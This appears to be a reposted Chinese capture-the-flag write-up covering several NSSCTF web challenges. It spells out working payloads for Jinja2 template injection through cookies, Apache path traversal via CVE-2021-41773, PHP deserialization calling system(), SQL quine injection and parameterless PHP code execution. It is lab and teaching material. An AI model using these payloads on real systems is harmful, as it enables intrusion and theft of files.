NSSCTF第十页(2)

这篇具有很好参考价值的文章主要介绍了NSSCTF第十页(2)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

[HNCTF 2022 WEEK3]ssssti

题目提示是jinja2模板

怎么感觉之前做过,看到了注入

NSSCTF第十页(2),java,开发语言

 随便进行一下注入,发现了过滤

NSSCTF第十页(2),java,开发语言

大致的黑名单

'
"  
_  
args   -- 无法使用 request.args
os   -- 无法导入os
不允许post  -- 无法使用 request.value

正常用的payload

{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}

 因为过滤了东西,所以就可以用request.cooike来进行注入

get:

?name={{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}}

cookie:

c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag

 得到flag

NSSCTF第十页(2),java,开发语言

[GFCTF 2021]Baby_Web 

源码

NSSCTF第十页(2),java,开发语言

 看到标签提示说是有CVE-2021-41773漏洞

上网查一下:

【精选】Apache HTTP Server 路径穿越漏洞复现(CVE-2021-41773 )-CSDN博客

根据漏洞存在条件进行注入(之前做过这个漏洞,目录穿越)

NSSCTF第十页(2),java,开发语言

 不知道为什么我的bp没有显示

NSSCTF第十页(2),java,开发语言 正常的回显:

NSSCTF第十页(2),java,开发语言

当前目录是/var/www/html/,那么上层目录就是/var/www/。源码提示说:源码藏在上层目录xxx.php.txt里面,猜测xxx应该包括了index。 

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/index.php.txt HTTP/1.1

NSSCTF第十页(2),java,开发语言

 得到了源码:

<h1>Welcome To GFCTF 12th!!</h1>
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);

?>
<!--源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?-->

 暗示我们还有一个class.php文件

尝试访问:

NSSCTF第十页(2),java,开发语言

得到源码

<?php
defined('main') or die("no!!");
Class Temp{
    private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
    private $template;
    public function __construct($data){

        $this->date = array_merge($this->date,$data);
    }
    public function getTempName($template,$dir){
        if($dir === 'admin'){
            $this->template = str_replace('..','','./template/admin/'.$template);
            if(!is_file($this->template)){
                die("no!!");
            }
        }
        else{
            $this->template = './template/index.html';
        }
    }
    public function display($template,$space=''){

        extract($this->date);
        $this->getTempName($template,$space);
        include($this->template);
    }
    public function listdata($_params){
        $system = [
            'db' => '',
            'app' => '',
            'num' => '',
            'sum' => '',
            'form' => '',
            'page' => '',
            'site' => '',
            'flag' => '',
            'not_flag' => '',
            'show_flag' => '',
            'more' => '',
            'catid' => '',
            'field' => '',
            'order' => '',
            'space' => '',
            'table' => '',
            'table_site' => '',
            'total' => '',
            'join' => '',
            'on' => '',
            'action' => '',
            'return' => '',
            'sbpage' => '',
            'module' => '',
            'urlrule' => '',
            'pagesize' => '',
            'pagefile' => '',
        ];

        $param = $where = [];

        $_params = trim($_params);

        $params = explode(' ', $_params);
        if (in_array($params[0], ['list','function'])) {
            $params[0] = 'action='.$params[0];
        }
        foreach ($params as $t) {
            $var = substr($t, 0, strpos($t, '='));
            $val = substr($t, strpos($t, '=') + 1);
            if (!$var) {
                continue;
            }
            if (isset($system[$var])) {
                $system[$var] = $val;
            } else {
                $param[$var] = $val;
            }
        }
        // action
        switch ($system['action']) {

            case 'function':

                if (!isset($param['name'])) {
                    return  'hacker!!';
                } elseif (!function_exists($param['name'])) {
                    return 'hacker!!';
                }

                $force = $param['force'];
                if (!$force) {
                    $p = [];
                    foreach ($param as $var => $t) {
                        if (strpos($var, 'param') === 0) {
                            $n = intval(substr($var, 5));
                            $p[$n] = $t;
                        }
                    }
                    if ($p) {

                        $rt = call_user_func_array($param['name'], $p);
                    } else {
                        $rt = call_user_func($param['name']);
                    }
                    return $rt;
                }else{
                    return null;
                }
            case 'list':
                return json_encode($this->date);
        }
        return null;
    }
}

开始代码审计:

index.php.txt

1、实例化了一个Temp类对象,并且向构造方法传参,参数是所有POST提交的变量。

2、调用了Temp类中display方法并且传参,参数是GET方式提交的filename变量。

[GFCTF 2021]Baby_Web(CVE-2021-41773) 从一道题入门PHP代码审计 (保姆级)_Jay 17的博客-CSDN博客 NSSCTF第十页(2),java,开发语言

[HZNUCTF 2023 preliminary]ppppop

主页是空的,源代码也没有,扫一下

NSSCTF第十页(2),java,开发语言

扫了但是等于没扫

NSSCTF第十页(2),java,开发语言

抓一下包发现有东西 好像base64编码,看看

NSSCTF第十页(2),java,开发语言

解码发现是序列化

NSSCTF第十页(2),java,开发语言

改了一下对象属性个数发现没有用

NSSCTF第十页(2),java,开发语言 

把0改成1看看 (相当于改了b属性的属性值)

发现出现了源码

NSSCTF第十页(2),java,开发语言

 重新抓包放包

NSSCTF第十页(2),java,开发语言 很简单的一个php反序列化

<?php
class A {
    public $className="B";
    public $funcName="system";
    public $args="ls";   
}
class B {
}
$a = new A();
echo base64_encode(strrev(serialize($a)));
?>

php strrev函数的使用方法_php笔记_设计学院

payload用post传参

payload=fTsidm5lIjozOnM7InNncmEiOjQ6czsibWV0c3lzIjo2OnM7ImVtYU5jbnVmIjo4OnM7IkIiOjE6czsiZW1hTnNzYWxjIjo5OnN7OjM6IkEiOjE6Tw==

得到flag env是环境变量 ls 没显示出来flag,找了好多,最后在env里找到了

 [HDCTF 2023]LoginMaster

尝试登录admin/123456,发现不行

NSSCTF第十页(2),java,开发语言 输入admin/adminNSSCTF第十页(2),java,开发语言

话不多说,直接开扫,就扫到一个robot.txt

NSSCTF第十页(2),java,开发语言

访问:

NSSCTF第十页(2),java,开发语言

 一个正则函数,看标签知道是一个quine注入

诶,还真有,分析一下,这应该是他的waf源码

没有其他回显,并且把大部分东西都过滤掉了

我们看到sleep,有意无意都会想到时间盲注,那这里他把sleep过滤了,怎么办呢

 

payload

username:admin

password:

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

 得到flag

 [HNCTF 2022 WEEK2]Canyource

访问robots.txt得到

NSSCTF第十页(2),java,开发语言 看着就是无参数rce

无参数RCE总结_get_defined_vars-CSDN博客 

highlight_file() show_source() 都被禁了 利用 echo(readfile())来读取 

      localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
        pos() – 返回数组中的当前单元, 默认取第一个值
        next – 将内部指针指向数组下一个元素并输出
        scandir() – 扫描目录
        array_reverse() – 翻转数组
        array_flip() - 键名与数组值对调
        readfile()
        array_rand() - 随机读取键名
        var_dump() - 输出数组,可以用print_r替代
        file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替
        get_defined_vars() -  返回由所有已定义变量所组成的数组
        end() - 读取数组最后一个元素
        current() - 读取数组的第一个元素
        #php内置函数

正则表达式:

/[^\W]+\((?R)?\)/

    \W代表匹配非字符
    [^abc]代表匹配非abc以外的元素
    R代表当前正则匹配后的结果
    ?惰性匹配,匹配零次或一次
    \转义字符

也就是说,题目要求payload格式为()的嵌套,因为他会递归匹配,判断[...]()替换为空后的结果是否等于;
 

 payload:?code=echo(readfile(next(array_reverse(scandir(pos(localeconv()))))));

NSSCTF第十页(2),java,开发语言

做到现在,发现rce都是大同小异,无数字字母就用取反异或,自增,无参数就用这几个函数来写payload,难一点的反序列化构造pop链也是函数利用,看哪个魔术方法利用哪个魔术方法,到底还是函数

 文章来源地址https://www.toymoban.com/news/detail-745211.html

到了这里,关于NSSCTF第十页(2)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 海康威视相机SDK二次开发(JAVA语言)

    前言 有个项目需要使用java程序读取海康威视的相机图片。相机通过以太网连接服务器,部署在服务器上的java程序将相机拍摄的画面保存在指定路径下。 海康威视提供了sdk开发包,可以在官网中下载,windows和linux系统都有。但是开发包中给出的示例代码,无法满足实际需要,

    2024年04月29日
    浏览(46)
  • NSSCTF第10页(3)

    第一题: LitCTF{First_t0_The_k3y! (1/?) 第三题: ?php // 第三个彩蛋!(看过头号玩家么?) // R3ady_Pl4yer_000ne (3/?) ? 第六题: wow 你找到了第二个彩蛋哦~ _S0_ne3t? (2/?) 第七题: 这个好像是最后一个个彩蛋 F1rst_to_Th3_eggggggggg!} 拼接: LitCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_egg

    2024年02月05日
    浏览(25)
  • NSSCTF做题(3)

    代码审计 ?php include \\\'utils.php\\\'; if (isset($_POST[\\\'guess\\\'])) {     $guess = (string) $_POST[\\\'guess\\\'];     if ($guess === $secret) { //两个变量相等         $message = \\\'Congratulations! The flag is: \\\' . $flag;     } else {         $message = \\\'Wrong. Try Again\\\';     } } if (preg_match(\\\'/utils

    2024年02月07日
    浏览(35)
  • nssctf web 入门(6)

    这里通过nssctf的题单web安全入门来写,会按照题单详细解释每题。题单在NSSCTF中。 想入门ctfweb的可以看这个系列,之后会一直出这个题单的解析,题目一共有28题,打算写10篇。 目录 [SWPUCTF 2021 新生赛]caidao [SWPUCTF 2021 新生赛]easyrce [SWPUCTF 2021 新生赛]babyrce [SWPUCTF 2021 新生赛]

    2023年04月21日
    浏览(36)
  • nssctf web 入门(3)

    目录 [NISACTF 2022]easyssrf  [SWPUCTF 2021 新生赛]ez_unserialize  [SWPUCTF 2021 新生赛]no_wakeup 这里通过nssctf的题单web安全入门来写,会按照题单详细解释每题。题单在NSSCTF中。 想入门ctfweb的可以看这个系列,之后会一直出这个题单的解析,题目一共有28题,打算写10篇。 [NISACTF 2022]easys

    2023年04月21日
    浏览(48)
  • nssctf web 入门(7)

    这里通过nssctf的题单web安全入门来写,会按照题单详细解释每题。题单在NSSCTF中。 想入门ctfweb的可以看这个系列,之后会一直出这个题单的解析,题目一共有28题,打算写10篇。 [SWPUCTF 2021 新生赛]hardrce 这里过滤了所有的字母我们肯定要编码,同时又过滤了很多字符,我们发现没

    2023年04月18日
    浏览(30)
  • NSSCTF——Web题目2

    目录 一、[HNCTF 2022 Week1]2048 二、[HNCTF 2022 Week1]What is Web 三、[LitCTF 2023]1zjs 四、[NCTF 2018]签到题 五、[SWPUCTF 2021 新生赛]gift_F12 一、[HNCTF 2022 Week1]2048 知识点:源代码审计 解题思路:    1、打开控制台,查看源代码,题目提示我们需要大于20000分,找到定义分数这一个变量,修改

    2024年02月11日
    浏览(38)
  • BsinCopilot:Java版端到端大语言模型开发框架

    BsinCopilot是基于BsinPaaS开源框架构建的大语言模型应用SaaS服务,借鉴langchain的框架思想,引入  langchian4j组件,微前端微服务的架构设计,可快速助您构建和体验端到端的AI应用。 概念 说明 Bsin 毕昇缩写,毕昇,中国北宋发明家,活字印刷术的发明者。毕昇出身平民,长期在

    2024年03月13日
    浏览(57)
  • Android 安卓开发语言kotlin与Java该如何选择

            如今在Android开发中,应用层开发语言主要是Java和Kotlin,Kotlin是后来加入的,主导的语言还是Java。kotlin的加入仿佛让会kotlin语言的开发者更屌一些,其实不然。         有人说kotlin的引入是解决开发者复杂的逻辑,并且对空指针控制的比较友好,但是我们在开

    2024年02月11日
    浏览(61)
  • NSSCTF Pwn Page 1 - 2

    NSSCTF Pwn 第一页-第二页全部题目解析。 刷了大概一个月的NSSCTF,对Pwn的理解更高了,虽然也没高到哪去。 使用NC连接题目,获取flag值。 查看源码 不是ELF程序,所以直接打开查看。 发现是一个过滤了 cat , ls , cd , echo , ${IFS} 的shell程序。 那么本题的意思就是绕过这个blacklist即

    2024年02月06日
    浏览(23)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包